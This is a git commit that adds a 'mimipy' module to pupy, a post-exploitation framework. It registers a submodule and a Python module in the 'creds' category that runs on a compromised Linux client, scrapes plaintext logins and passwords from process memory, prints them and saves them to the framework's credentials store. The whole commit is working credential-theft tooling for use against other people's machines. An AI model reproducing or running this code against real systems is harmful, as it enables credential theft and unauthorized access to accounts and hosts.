add mimipy module

This commit is contained in:
n1nj4sec 2017-04-12 00:02:07 +02:00
parent 51f41e89c0
commit 437d443339
4 changed files with 42 additions and 0 deletions

3
.gitmodules vendored
View File

@ -28,3 +28,6 @@
[submodule "pupy/external/linux-exploit-suggester"] [submodule "pupy/external/linux-exploit-suggester"]
path = pupy/external/linux-exploit-suggester path = pupy/external/linux-exploit-suggester
url = https://github.com/mzet-/linux-exploit-suggester url = https://github.com/mzet-/linux-exploit-suggester
[submodule "pupy/external/mimipy"]
path = pupy/external/mimipy
url = https://github.com/n1nj4sec/mimipy.git

1
pupy/external/mimipy vendored Submodule

@ -0,0 +1 @@
Subproject commit d30f791bb3472bf88364fd7dfc5304aa42bb8705

37
pupy/modules/mimipy.py Normal file
View File

@ -0,0 +1,37 @@
# -*- coding: utf-8 -*-
import os
from pupylib.PupyModule import *
from pupylib.utils.rpyc_utils import obtain
from pupylib.utils.credentials import Credentials
__class_name__="MimipyMod"
@config(cat="creds", compat="linux")
class MimipyMod(PupyModule):
"""
Run mimipy to retrieve credentials from memory
"""
dependencies=['memorpy', 'mimipy']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='mimipy', description=self.__doc__)
self.arg_parser.add_argument('-v', '--verbose', default=False, action='store_true', help='be more verbose !')
def run(self, args):
found=False
db = Credentials(client=self.client.short_name(), config=self.config)
for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations="nsrx", clean=False):
cred={
'Password': passwd,
'Login': u,
'Host' : process,
'Category': 'Mimipy: %s'%t,
'CredType': 'password'
}
self.success('\n\t'.join(["%s: %s"%(i,v) for i,v in cred.iteritems()])+"\n\n")
db.add([cred])
found=True
if not found:
self.success("no password found :/")

View File

@ -0,0 +1 @@
../../../external/mimipy/mimipy.py